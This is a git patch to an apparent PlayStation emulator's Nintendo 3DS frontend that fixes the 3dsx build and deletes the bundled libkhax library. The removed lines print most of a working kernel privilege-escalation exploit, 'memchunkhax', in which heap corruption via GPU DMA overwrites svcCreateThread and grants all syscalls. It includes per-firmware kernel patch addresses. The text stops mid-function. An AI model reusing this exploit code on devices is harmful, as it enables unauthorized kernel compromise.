From e4d8473398b2023626542894340b060219497f5b Mon Sep 17 00:00:00 2001 From: aliaspider Date: Thu, 1 Oct 2015 02:24:56 +0100 Subject: [PATCH] (ctr/3ds) fix 3dsx build. --- Makefile.libretro | 3 +- frontend/3ds/3ds_utils.c | 38 +- frontend/3ds/3ds_utils.h | 6 +- frontend/3ds/libkhax/LICENSE | 22 - frontend/3ds/libkhax/khax.h | 16 - frontend/3ds/libkhax/khaxinit.cpp | 1110 --------------------------- frontend/3ds/libkhax/khaxinternal.h | 339 -------- frontend/libretro.c | 5 + 8 files changed, 18 insertions(+), 1521 deletions(-) delete mode 100644 frontend/3ds/libkhax/LICENSE delete mode 100644 frontend/3ds/libkhax/khax.h delete mode 100644 frontend/3ds/libkhax/khaxinit.cpp delete mode 100644 frontend/3ds/libkhax/khaxinternal.h diff --git a/Makefile.libretro b/Makefile.libretro index 71223060..b7cc4962 100644 --- a/Makefile.libretro +++ b/Makefile.libretro @@ -146,8 +146,7 @@ else ifeq ($(platform), ctr) CFLAGS += -I$(CTRULIB)/include -I$(DEVKITPRO)/portlibs/armv6k/include -Ifrontend/3ds CFLAGS += -Werror=implicit-function-declaration - CXXFLAGS += -fno-rtti -fno-exceptions -std=gnu++11 - OBJS += frontend/3ds/3ds_utils.o frontend/3ds/libkhax/khaxinit.o + OBJS += frontend/3ds/3ds_utils.o # CFLAGS += -DPCSX diff --git a/frontend/3ds/3ds_utils.c b/frontend/3ds/3ds_utils.c index c36146c1..c415d375 100644 --- a/frontend/3ds/3ds_utils.c +++ b/frontend/3ds/3ds_utils.c @@ -1,8 +1,6 @@ #include "3ds.h" -#include "libkhax/khax.h" - -static int ninjhax_version = 0; +#include "3ds_utils.h" typedef s32 (*ctr_callback_type)(void); @@ -64,35 +62,13 @@ void ctr_flush_invalidate_cache(void) int ctr_svchack_init(void) { - Handle tempHandle; - Result res = srvGetServiceHandle(&tempHandle, "am:u"); - if(res == 0) - { - /* CFW */ - svcCloseHandle(tempHandle); - ninjhax_version = 0; - ctr_enable_all_svc(); - return 1; - } - else if(hbInit() == 0) - { - /* ninjhax 1.0 */ - ninjhax_version = 1; - hbExit(); - khaxInit(); - return 1; - } - else - { - /* ninjhax 2.0 */ + extern unsigned int __service_ptr; + if(__service_ptr) return 0; - } -} - -void ctr_svchack_exit(void) -{ - if (ninjhax_version == 1) - khaxExit(); + /* CFW */ + ctr_enable_all_svc(); + return 1; } + diff --git a/frontend/3ds/3ds_utils.h b/frontend/3ds/3ds_utils.h index 150c56ec..fe97985c 100644 --- a/frontend/3ds/3ds_utils.h +++ b/frontend/3ds/3ds_utils.h @@ -7,6 +7,10 @@ void ctr_flush_DCache(void); void ctr_flush_invalidate_cache(void); int ctr_svchack_init(void); -void ctr_svchack_exit(void); + +#include +#define DEBUG_HOLD() do{printf("%s@%s:%d.\n",__FUNCTION__, __FILE__, __LINE__);fflush(stdout);wait_for_input();}while(0) + +void wait_for_input(void); #endif // _3DS_UTILS_H diff --git a/frontend/3ds/libkhax/LICENSE b/frontend/3ds/libkhax/LICENSE deleted file mode 100644 index 1456b222..00000000 --- a/frontend/3ds/libkhax/LICENSE +++ /dev/null @@ -1,22 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2015 Myriachan - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. - diff --git a/frontend/3ds/libkhax/khax.h b/frontend/3ds/libkhax/khax.h deleted file mode 100644 index 21051c38..00000000 --- a/frontend/3ds/libkhax/khax.h +++ /dev/null @@ -1,16 +0,0 @@ -#pragma once - -#include <3ds.h> - -#ifdef __cplusplus -extern "C" { -#endif - -// Initialize and do the initial pwning of the ARM11 kernel. -Result khaxInit(); -// Shut down libkhax -Result khaxExit(); - -#ifdef __cplusplus -} -#endif diff --git a/frontend/3ds/libkhax/khaxinit.cpp b/frontend/3ds/libkhax/khaxinit.cpp deleted file mode 100644 index 5c5ad811..00000000 --- a/frontend/3ds/libkhax/khaxinit.cpp +++ /dev/null @@ -1,1110 +0,0 @@ -#include <3ds.h> -#include -#include -#include -#include -#include -#include - -#include "khax.h" -#include "khaxinternal.h" - -//------------------------------------------------------------------------------------------------ -namespace KHAX -{ - //------------------------------------------------------------------------------------------------ - // Kernel and hardware version information. - struct VersionData - { - // New 3DS? - bool m_new3DS; - // Kernel version number - u32 m_kernelVersion; - // Nominal version number lower bound (for informational purposes only) - u32 m_nominalVersion; - // Patch location in svcCreateThread - u32 m_threadPatchAddress; - // Original version of code at m_threadPatchAddress - static constexpr const u32 m_threadPatchOriginalCode = 0x8DD00CE5; - // System call unlock patch location - u32 m_syscallPatchAddress; - // Kernel virtual address mapping of FCRAM - u32 m_fcramVirtualAddress; - // Physical mapping of FCRAM on this machine - static constexpr const u32 m_fcramPhysicalAddress = 0x20000000; - // Physical size of FCRAM on this machine - u32 m_fcramSize; - // Address of KThread address in kernel (KThread **) - static constexpr KThread **const m_currentKThreadPtr = reinterpret_cast(0xFFFF9000); - // Address of KProcess address in kernel (KProcess **) - static constexpr void **const m_currentKProcessPtr = reinterpret_cast(0xFFFF9004); - // Pseudo-handle of the current KProcess. - static constexpr const Handle m_currentKProcessHandle = 0xFFFF8001; - // Returned pointers within a KProcess object. This abstracts out which particular - // version of the KProcess object is in use. - struct KProcessPointers - { - KSVCACL *m_svcAccessControl; - u32 *m_kernelFlags; - u32 *m_processID; - }; - // Creates a KProcessPointers for this kernel version and pointer to the object. - KProcessPointers(*m_makeKProcessPointers)(void *kprocess); - - // Convert a user-mode virtual address in the linear heap into a kernel-mode virtual - // address using the version-specific information in this table entry. - void *ConvertLinearUserVAToKernelVA(void *address) const; - - // Retrieve a VersionData for this kernel, or null if not recognized. - static const VersionData *GetForCurrentSystem(); - - private: - // Implementation behind m_makeKProcessPointers. - template - static KProcessPointers MakeKProcessPointers(void *kprocess); - - // Table of these. - static const VersionData s_versionTable[]; - }; - - //------------------------------------------------------------------------------------------------ - // ARM11 kernel hack class. - class MemChunkHax - { - public: - // Construct using the version information for the current system. - MemChunkHax(const VersionData *versionData) - : m_versionData(versionData), - m_nextStep(1), - m_corrupted(0), - m_overwriteMemory(nullptr), - m_overwriteAllocated(0), - m_extraLinear(nullptr) - { - s_instance = this; - } - - // Free memory and such. - ~MemChunkHax(); - - // Umm, don't copy this class. - MemChunkHax(const MemChunkHax &) = delete; - MemChunkHax &operator =(const MemChunkHax &) = delete; - - // Basic initialization. - Result Step1_Initialize(); - // Allocate linear memory for the memchunkhax operation. - Result Step2_AllocateMemory(); - // Free the second and fourth pages of the five. - Result Step3_SurroundFree(); - // Verify that the freed heap blocks' data matches our expected layout. - Result Step4_VerifyExpectedLayout(); - // Corrupt svcCreateThread in the ARM11 kernel and create the foothold. - Result Step5_CorruptCreateThread(); - // Execute svcCreateThread to execute code at SVC privilege. - Result Step6_ExecuteSVCCode(); - // Grant access to all services. - Result Step7_GrantServiceAccess(); - - private: - // SVC-mode entry point thunk (true entry point). - static Result Step6a_SVCEntryPointThunk(); - // SVC-mode entry point. - Result Step6b_SVCEntryPoint(); - // Undo the code patch that Step5_CorruptCreateThread did. - Result Step6c_UndoCreateThreadPatch(); - // Fix the heap corruption caused as a side effect of step 5. - Result Step6d_FixHeapCorruption(); - // Grant our process access to all system calls, including svcBackdoor. - Result Step6e_GrantSVCAccess(); - // Flush instruction and data caches. - Result Step6f_FlushCaches(); - // Patch the process ID to 0. Runs as svcBackdoor. - static Result Step7a_PatchPID(); - // Restore the original PID. Runs as svcBackdoor. - static Result Step7b_UnpatchPID(); - - // Helper for dumping memory to SD card. - template - bool DumpMemberToSDCard(const unsigned char (MemChunkHax::*member)[S], const char *filename) const; - - // Result returned by hacked svcCreateThread upon success. - static constexpr const Result STEP6_SUCCESS_RESULT = 0x1337C0DE; - - // Version information. - const VersionData *const m_versionData; - // Next step number. - int m_nextStep; - // Whether we are in a corrupted state, meaning we cannot continue if an error occurs. - int m_corrupted; - - // Free block structure in the kernel, the one used in the memchunkhax exploit. - struct HeapFreeBlock - { - int m_count; - HeapFreeBlock *m_next; - HeapFreeBlock *m_prev; - int m_unknown1; - int m_unknown2; - }; - - // The layout of a memory page. - union Page - { - unsigned char m_bytes[4096]; - HeapFreeBlock m_freeBlock; - }; - - // The linear memory allocated for the memchunkhax overwrite. - struct OverwriteMemory - { - union - { - unsigned char m_bytes[6 * 4096]; - Page m_pages[6]; - }; - }; - OverwriteMemory *m_overwriteMemory; - unsigned m_overwriteAllocated; - - // Additional linear memory buffer for temporary purposes. - union ExtraLinearMemory - { - ALIGN(64) unsigned char m_bytes[64]; - // When interpreting as a HeapFreeBlock. - HeapFreeBlock m_freeBlock; - }; - // Must be a multiple of 16 for use with gspwn. - static_assert(sizeof(ExtraLinearMemory) % 16 == 0, "ExtraLinearMemory isn't a multiple of 16 bytes"); - ExtraLinearMemory *m_extraLinear; - - // Copy of the old ACL - KSVCACL m_oldACL; - - // Original process ID. - u32 m_originalPID; - - // Buffers for dumped data when debugging. - #ifdef KHAX_DEBUG_DUMP_DATA - unsigned char m_savedKProcess[sizeof(KProcess_8_0_0_New)]; - unsigned char m_savedKThread[sizeof(KThread)]; - unsigned char m_savedThreadSVC[0x100]; - #endif - - // Pointer to our instance. - static MemChunkHax *volatile s_instance; - }; - - //------------------------------------------------------------------------------------------------ - // Make an error code - inline Result MakeError(Result level, Result summary, Result module, Result error); - enum : Result { KHAX_MODULE = 254 }; - // Check whether this system is a New 3DS. - Result IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown = 0); - // gspwn, meant for reading from or writing to freed buffers. - Result GSPwn(void *dest, const void *src, std::size_t size, bool wait = true); - // Given a pointer to a structure that is a member of another structure, - // return a pointer to the outer structure. Inspired by Windows macro. - template - Outer *ContainingRecord(Inner *member, Inner Outer::*field); -} - - -//------------------------------------------------------------------------------------------------ -// -// Class VersionData -// - -//------------------------------------------------------------------------------------------------ -// Creates a KProcessPointers for this kernel version and pointer to the object. -template -KHAX::VersionData::KProcessPointers KHAX::VersionData::MakeKProcessPointers(void *kprocess) -{ - KProcessType *kproc = static_cast(kprocess); - - KProcessPointers result; - result.m_svcAccessControl = &kproc->m_svcAccessControl; - result.m_processID = &kproc->m_processID; - result.m_kernelFlags = &kproc->m_kernelFlags; - return result; -} - -//------------------------------------------------------------------------------------------------ -// System version table -const KHAX::VersionData KHAX::VersionData::s_versionTable[] = -{ -#define KPROC_FUNC(ver) MakeKProcessPointers - - // Old 3DS, old address layout - { false, SYSTEM_VERSION(2, 34, 0), SYSTEM_VERSION(4, 1, 0), 0xEFF83C9F, 0xEFF827CC, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, - { false, SYSTEM_VERSION(2, 35, 6), SYSTEM_VERSION(5, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, - { false, SYSTEM_VERSION(2, 36, 0), SYSTEM_VERSION(5, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, - { false, SYSTEM_VERSION(2, 37, 0), SYSTEM_VERSION(6, 0, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, - { false, SYSTEM_VERSION(2, 38, 0), SYSTEM_VERSION(6, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, - { false, SYSTEM_VERSION(2, 39, 4), SYSTEM_VERSION(7, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, - { false, SYSTEM_VERSION(2, 40, 0), SYSTEM_VERSION(7, 2, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, - // Old 3DS, new address layout - { false, SYSTEM_VERSION(2, 44, 6), SYSTEM_VERSION(8, 0, 0), 0xDFF8376F, 0xDFF82294, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) }, - { false, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF8383F, 0xDFF82290, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) }, - // New 3DS - { true, SYSTEM_VERSION(2, 45, 5), SYSTEM_VERSION(8, 1, 0), 0xDFF83757, 0xDFF82264, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) }, // untested - { true, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF83837, 0xDFF82260, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) }, - -#undef KPROC_FUNC -}; - -//------------------------------------------------------------------------------------------------ -// Convert a user-mode virtual address in the linear heap into a kernel-mode virtual -// address using the version-specific information in this table entry. -void *KHAX::VersionData::ConvertLinearUserVAToKernelVA(void *address) const -{ - static_assert((std::numeric_limits::max)() == (std::numeric_limits::max)(), - "you're sure that this is a 3DS?"); - - // Need the pointer as an integer. - u32 addr = reinterpret_cast(address); - - // Convert the address to a physical address, since that's how we know the mapping. - u32 physical = osConvertVirtToPhys(addr); - if (physical == 0) - { - return nullptr; - } - - // Verify that the address is within FCRAM. - if ((physical < m_fcramPhysicalAddress) || (physical - m_fcramPhysicalAddress >= m_fcramSize)) - { - return nullptr; - } - - // Now we can convert. - return reinterpret_cast(m_fcramVirtualAddress) + (physical - m_fcramPhysicalAddress); -} - -//------------------------------------------------------------------------------------------------ -// Retrieve a VersionData for this kernel, or null if not recognized. -const KHAX::VersionData *KHAX::VersionData::GetForCurrentSystem() -{ - // Get kernel version for comparison. - u32 kernelVersion = osGetKernelVersion(); - - // Determine whether this is a New 3DS. - bool isNew3DS; - if (IsNew3DS(&isNew3DS, kernelVersion) != 0) - { - return nullptr; - } - - // Search our list for a match. - for (const VersionData *entry = s_versionTable; entry < &s_versionTable[KHAX_lengthof(s_versionTable)]; ++entry) - { - // New 3DS flag must match. - if ((entry->m_new3DS && !isNew3DS) || (!entry->m_new3DS && isNew3DS)) - { - continue; - } - // Kernel version must match. - if (entry->m_kernelVersion != kernelVersion) - { - continue; - } - - return entry; - } - - return nullptr; -} - - -//------------------------------------------------------------------------------------------------ -// -// Class MemChunkHax -// - -//------------------------------------------------------------------------------------------------ -KHAX::MemChunkHax *volatile KHAX::MemChunkHax::s_instance = nullptr; - -//------------------------------------------------------------------------------------------------ -// Basic initialization. -Result KHAX::MemChunkHax::Step1_Initialize() -{ - if (m_nextStep != 1) - { - KHAX_printf("MemChunkHax: Invalid step number %d for Step1_Initialize\n", m_nextStep); - return MakeError(28, 5, KHAX_MODULE, 1016); - } - - // Nothing to do in current implementation. - ++m_nextStep; - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Allocate linear memory for the memchunkhax operation. -Result KHAX::MemChunkHax::Step2_AllocateMemory() -{ - if (m_nextStep != 2) - { - KHAX_printf("MemChunkHax: Invalid step number %d for Step2_AllocateMemory\n", m_nextStep); - return MakeError(28, 5, KHAX_MODULE, 1016); - } - - // Allocate the linear memory for the overwrite process. - u32 address = 0xFFFFFFFF; - Result result = svcControlMemory(&address, 0, 0, sizeof(OverwriteMemory), MEMOP_ALLOC_LINEAR, - static_cast(MEMPERM_READ | MEMPERM_WRITE)); - - KHAX_printf("Step2:res=%08lx addr=%08lx\n", result, address); - - if (result != 0) - { - return result; - } - - m_overwriteMemory = reinterpret_cast(address); - m_overwriteAllocated = (1u << 6) - 1; // all 6 pages allocated now - - // Why didn't we get a page-aligned address?! - if (address & 0xFFF) - { - // Since we already assigned m_overwriteMemory, it'll get freed by our destructor. - KHAX_printf("Step2:misaligned memory\n"); - return MakeError(26, 7, KHAX_MODULE, 1009); - } - - // Allocate extra memory that we'll need. - m_extraLinear = static_cast(linearMemAlign(sizeof(*m_extraLinear), - alignof(*m_extraLinear))); - if (!m_extraLinear) - { - KHAX_printf("Step2:failed extra alloc\n"); - return MakeError(26, 3, KHAX_MODULE, 1011); - } - KHAX_printf("Step2:extra=%p\n", m_extraLinear); - - // OK, we're good here. - ++m_nextStep; - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Free the second and fourth pages of the five. -Result KHAX::MemChunkHax::Step3_SurroundFree() -{ - if (m_nextStep != 3) - { - KHAX_printf("MemChunkHax: Invalid step number %d for Step3_AllocateMemory\n", m_nextStep); - return MakeError(28, 5, KHAX_MODULE, 1016); - } - - // We do this because the exploit involves triggering a heap coalesce. We surround a heap - // block (page) with two freed pages, then free the middle page. By controlling both outside - // pages, we know their addresses, and can fix up the corrupted heap afterward. - // - // Here's what the heap will look like after step 3: - // - // ___XX-X-X___ - // - // _ = unknown (could be allocated and owned by other code) - // X = allocated - // - = allocated then freed by us - // - // In step 4, we will free the second page: - // - // ___X--X-X___ - // - // Heap coalescing will trigger due to two adjacent free blocks existing. The fifth page's - // "previous" pointer will be set to point to the second page rather than the third. We will - // use gspwn to make that overwrite kernel code instead. - // - // We have 6 pages to ensure that we have surrounding allocated pages, giving us a little - // sandbox to play in. In particular, we can use this design to determine the address of the - // next block--by controlling the location of the next block. - u32 dummy; - - // Free the third page. - if (Result result = svcControlMemory(&dummy, reinterpret_cast(&m_overwriteMemory->m_pages[2]), 0, - sizeof(m_overwriteMemory->m_pages[2]), MEMOP_FREE, static_cast(0))) - { - KHAX_printf("Step3:svcCM1 failed:%08lx\n", result); - return result; - } - m_overwriteAllocated &= ~(1u << 2); - - // Free the fifth page. - if (Result result = svcControlMemory(&dummy, reinterpret_cast(&m_overwriteMemory->m_pages[4]), 0, - sizeof(m_overwriteMemory->m_pages[4]), MEMOP_FREE, static_cast(0))) - { - KHAX_printf("Step3:svcCM2 failed:%08lx\n", result); - return result; - } - m_overwriteAllocated &= ~(1u << 4); - - // Attempt to write to remaining pages. - //KHAX_printf("Step2:probing page [0]\n"); - *static_cast(&m_overwriteMemory->m_pages[0].m_bytes[0]) = 0; - //KHAX_printf("Step2:probing page [1]\n"); - *static_cast(&m_overwriteMemory->m_pages[1].m_bytes[0]) = 0; - //KHAX_printf("Step2:probing page [3]\n"); - *static_cast(&m_overwriteMemory->m_pages[3].m_bytes[0]) = 0; - //KHAX_printf("Step2:probing page [5]\n"); - *static_cast(&m_overwriteMemory->m_pages[5].m_bytes[0]) = 0; - KHAX_printf("Step3:probing done\n"); - - // Done. - ++m_nextStep; - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Verify that the freed heap blocks' data matches our expected layout. -Result KHAX::MemChunkHax::Step4_VerifyExpectedLayout() -{ - if (m_nextStep != 4) - { - KHAX_printf("MemChunkHax: Invalid step number %d for Step4_VerifyExpectedLayout\n", m_nextStep); - return MakeError(28, 5, KHAX_MODULE, 1016); - } - - // Copy the first freed page (third page) out to read its heap metadata. - std::memset(m_extraLinear, 0xCC, sizeof(*m_extraLinear)); - - if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2], - sizeof(*m_extraLinear))) - { - KHAX_printf("Step4:gspwn failed:%08lx\n", result); - return result; - } - - // Debug information about the memory block - KHAX_printf("Step4:[2]u=%p k=%p\n", &m_overwriteMemory->m_pages[2], m_versionData-> - ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2])); - KHAX_printf("Step4:[2]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next, - m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count); - - // The next page from the third should equal the fifth page. - if (m_extraLinear->m_freeBlock.m_next != m_versionData->ConvertLinearUserVAToKernelVA( - &m_overwriteMemory->m_pages[4])) - { - KHAX_printf("Step4:[2]->next != [4]\n"); - KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_next, - m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4]), - &m_overwriteMemory->m_pages[4]); - return MakeError(26, 5, KHAX_MODULE, 1014); - } - - // Copy the second freed page (fifth page) out to read its heap metadata. - std::memset(m_extraLinear, 0xCC, sizeof(*m_extraLinear)); - - if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[4], - sizeof(*m_extraLinear))) - { - KHAX_printf("Step4:gspwn failed:%08lx\n", result); - return result; - } - - KHAX_printf("Step4:[4]u=%p k=%p\n", &m_overwriteMemory->m_pages[4], m_versionData-> - ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4])); - KHAX_printf("Step4:[4]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next, - m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count); - - // The previous page from the fifth should equal the third page. - if (m_extraLinear->m_freeBlock.m_prev != m_versionData->ConvertLinearUserVAToKernelVA( - &m_overwriteMemory->m_pages[2])) - { - KHAX_printf("Step4:[4]->prev != [2]\n"); - KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_prev, - m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2]), - &m_overwriteMemory->m_pages[2]); - return MakeError(26, 5, KHAX_MODULE, 1014); - } - - // Validation successful - ++m_nextStep; - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Corrupt svcCreateThread in the ARM11 kernel and create the foothold. -Result KHAX::MemChunkHax::Step5_CorruptCreateThread() -{ - if (m_nextStep != 5) - { - KHAX_printf("MemChunkHax: Invalid step number %d for Step5_CorruptCreateThread\n", m_nextStep); - return MakeError(28, 5, KHAX_MODULE, 1016); - } - - // Read the memory page we're going to gspwn. - if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2].m_freeBlock, - sizeof(*m_extraLinear))) - { - KHAX_printf("Step5:gspwn read failed:%08lx\n", result); - return result; - } - - // Adjust the "next" pointer to point to within the svcCreateThread system call so as to - // corrupt certain instructions. The result will be that calling svcCreateThread will result - // in executing our code. - // NOTE: The overwrite is modifying the "m_prev" field, so we subtract the offset of m_prev. - // That is, the overwrite adds this offset back in. - m_extraLinear->m_freeBlock.m_next = reinterpret_cast( - m_versionData->m_threadPatchAddress - offsetof(HeapFreeBlock, m_prev)); - - // Do the GSPwn, the actual exploit we've been waiting for. - if (Result result = GSPwn(&m_overwriteMemory->m_pages[2].m_freeBlock, m_extraLinear, - sizeof(*m_extraLinear))) - { - KHAX_printf("Step5:gspwn exploit failed:%08lx\n", result); - return result; - } - - // The heap is now corrupted in two ways (Step6 explains why two ways). - m_corrupted += 2; - - KHAX_printf("Step5:gspwn succeeded; heap now corrupt\n"); - - // Corrupt svcCreateThread by freeing the second page. The kernel will coalesce the third - // page into the second page, and in the process zap an instruction pair in svcCreateThread. - u32 dummy; - if (Result result = svcControlMemory(&dummy, reinterpret_cast(&m_overwriteMemory->m_pages[1]), - 0, sizeof(m_overwriteMemory->m_pages[1]), MEMOP_FREE, static_cast(0))) - { - KHAX_printf("Step5:free to pwn failed:%08lx\n", result); - return result; - } - m_overwriteAllocated &= ~(1u << 1); - - // We have an additional layer of instability because of the kernel code overwrite. - ++m_corrupted; - - KHAX_printf("Step5:svcCreateThread now hacked\n"); - - ++m_nextStep; - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Execute svcCreateThread to execute code at SVC privilege. -Result KHAX::MemChunkHax::Step6_ExecuteSVCCode() -{ - if (m_nextStep != 6) - { - KHAX_printf("MemChunkHax: Invalid step number %d for Step6_ExecuteSVCCode\n", m_nextStep); - return MakeError(28, 5, KHAX_MODULE, 1016); - } - - // Call svcCreateThread such that r0 is the desired exploit function. Note that the - // parameters to the usual system call thunk are rearranged relative to the actual system call - // - the thread priority parameter is actually the one that goes into r0. In addition, we - // want to pass other parameters that make for an illegal thread creation request, because the - // rest of the thread creation SVC occurs before the hacked code gets executed. We want the - // thread creation request to fail, then the hack to grant us control. Processor ID - // 0x7FFFFFFF seems to do the trick here. - Handle dummyHandle; - Result result = svcCreateThread(&dummyHandle, nullptr, 0, nullptr, reinterpret_cast( - Step6a_SVCEntryPointThunk), (std::numeric_limits::max)()); - - KHAX_printf("Step6:SVC mode returned: %08lX %d\n", result, m_nextStep); - - if (result != STEP6_SUCCESS_RESULT) - { - // If the result was 0, something actually went wrong. - if (result == 0) - { - result = MakeError(27, 11, KHAX_MODULE, 1023); - } - - return result; - } - -#ifdef KHAX_DEBUG - char oldACLString[KHAX_lengthof(m_oldACL) * 2 + 1]; - char *sp = oldACLString; - for (unsigned char b : m_oldACL) - { - *sp++ = "0123456789abcdef"[b >> 4]; - *sp++ = "0123456789abcdef"[b & 15]; - } - *sp = '\0'; - - KHAX_printf("oldACL:%s\n", oldACLString); -#endif - - ++m_nextStep; - return 0; -} - -//------------------------------------------------------------------------------------------------ -// SVC-mode entry point thunk (true entry point). -#ifndef _MSC_VER -__attribute__((__naked__)) -#endif -Result KHAX::MemChunkHax::Step6a_SVCEntryPointThunk() -{ - __asm__ volatile("add sp, sp, #8"); - - register Result result __asm__("r0") = s_instance->Step6b_SVCEntryPoint(); - - __asm__ volatile("ldr pc, [sp], #4" : : "r"(result)); -} - -//------------------------------------------------------------------------------------------------ -// SVC-mode entry point. -#ifndef _MSC_VER -__attribute__((__noinline__)) -#endif -Result KHAX::MemChunkHax::Step6b_SVCEntryPoint() -{ - if (Result result = Step6c_UndoCreateThreadPatch()) - { - return result; - } - if (Result result = Step6d_FixHeapCorruption()) - { - return result; - } - if (Result result = Step6e_GrantSVCAccess()) - { - return result; - } - if (Result result = Step6f_FlushCaches()) - { - return result; - } - - return STEP6_SUCCESS_RESULT; -} - -//------------------------------------------------------------------------------------------------ -// Undo the code patch that Step5_CorruptCreateThread did. -Result KHAX::MemChunkHax::Step6c_UndoCreateThreadPatch() -{ - // Unpatch svcCreateThread. NOTE: Misaligned pointer. - *reinterpret_cast(m_versionData->m_threadPatchAddress) = m_versionData-> - m_threadPatchOriginalCode; - --m_corrupted; - - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Fix the heap corruption caused as a side effect of step 5. -Result KHAX::MemChunkHax::Step6d_FixHeapCorruption() -{ - // The kernel's heap coalesce code seems to be like the following for the case we triggered, - // where we're freeing a block before ("left") an adjacent block ("right"): - // - // (1) left->m_count += right->m_count; - // (2) left->m_next = right->m_next; - // (3) right->m_next->m_prev = left; - // - // (1) should have happened normally. (3) is what we exploit: we set right->m_next to point - // to where we want to patch, such that the write to m_prev is the desired code overwrite. - // (2) is copying the value we put into right->m_next to accomplish (3). - // - // As a result of these shenanigans, we have two fixes to do to the heap: fix left->m_next to - // point to the correct next free block, and do the write to right->m_next->m_prev that didn't - // happen because it instead was writing to kernel code. - - // "left" is the second overwrite page. - auto left = static_cast(m_versionData->ConvertLinearUserVAToKernelVA( - &m_overwriteMemory->m_pages[1].m_freeBlock)); - // "right->m_next" is the fifth overwrite page. - auto rightNext = static_cast(m_versionData->ConvertLinearUserVAToKernelVA( - &m_overwriteMemory->m_pages[4].m_freeBlock)); - - // Do the two fixups. - left->m_next = rightNext; - --m_corrupted; - - rightNext->m_prev = left; - --m_corrupted; - - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Grant our process access to all system calls, including svcBackdoor. -Result KHAX::MemChunkHax::Step6e_GrantSVCAccess() -{ - // Everything, except nonexistent services 00, 7E or 7F. - static constexpr const char s_fullAccessACL[] = "\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x3F"; - - // Get the KThread pointer. Its type doesn't vary, so far. - KThread *kthread = *m_versionData->m_currentKThreadPtr; - - // Debug dumping. -#ifdef KHAX_DEBUG_DUMP_DATA - // Get the KProcess pointer, whose type varies by kernel version. - void *kprocess = *m_versionData->m_currentKProcessPtr; - - void *svcData = reinterpret_cast(reinterpret_cast(kthread->m_svcRegisterState) & ~std::uintptr_t(0xFF)); - std::memcpy(m_savedKProcess, kprocess, sizeof(m_savedKProcess)); - std::memcpy(m_savedKThread, kthread, sizeof(m_savedKThread)); - std::memcpy(m_savedThreadSVC, svcData, sizeof(m_savedThreadSVC)); -#endif - - // Get a pointer to the SVC ACL within the SVC area for the thread. - SVCThreadArea *svcThreadArea = ContainingRecord(kthread->m_svcRegisterState, &SVCThreadArea::m_svcRegisterState); - KSVCACL &threadACL = svcThreadArea->m_svcAccessControl; - - // Save the old one for diagnostic purposes. - std::memcpy(m_oldACL, threadACL, sizeof(threadACL)); - - // Set the ACL for the current thread. - std::memcpy(threadACL, s_fullAccessACL, sizeof(threadACL)); - - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Flush instruction and data caches. -Result KHAX::MemChunkHax::Step6f_FlushCaches() -{ - // Invalidates the entire instruction cache. - __asm__ volatile( - "mov r0, #0\n\t" - "mcr p15, 0, r0, c7, c5, 0\n\t"); - - // Invalidates the entire data cache. - __asm__ volatile( - "mov r0, #0\n\t" - "mcr p15, 0, r0, c7, c10, 0\n\t"); - - 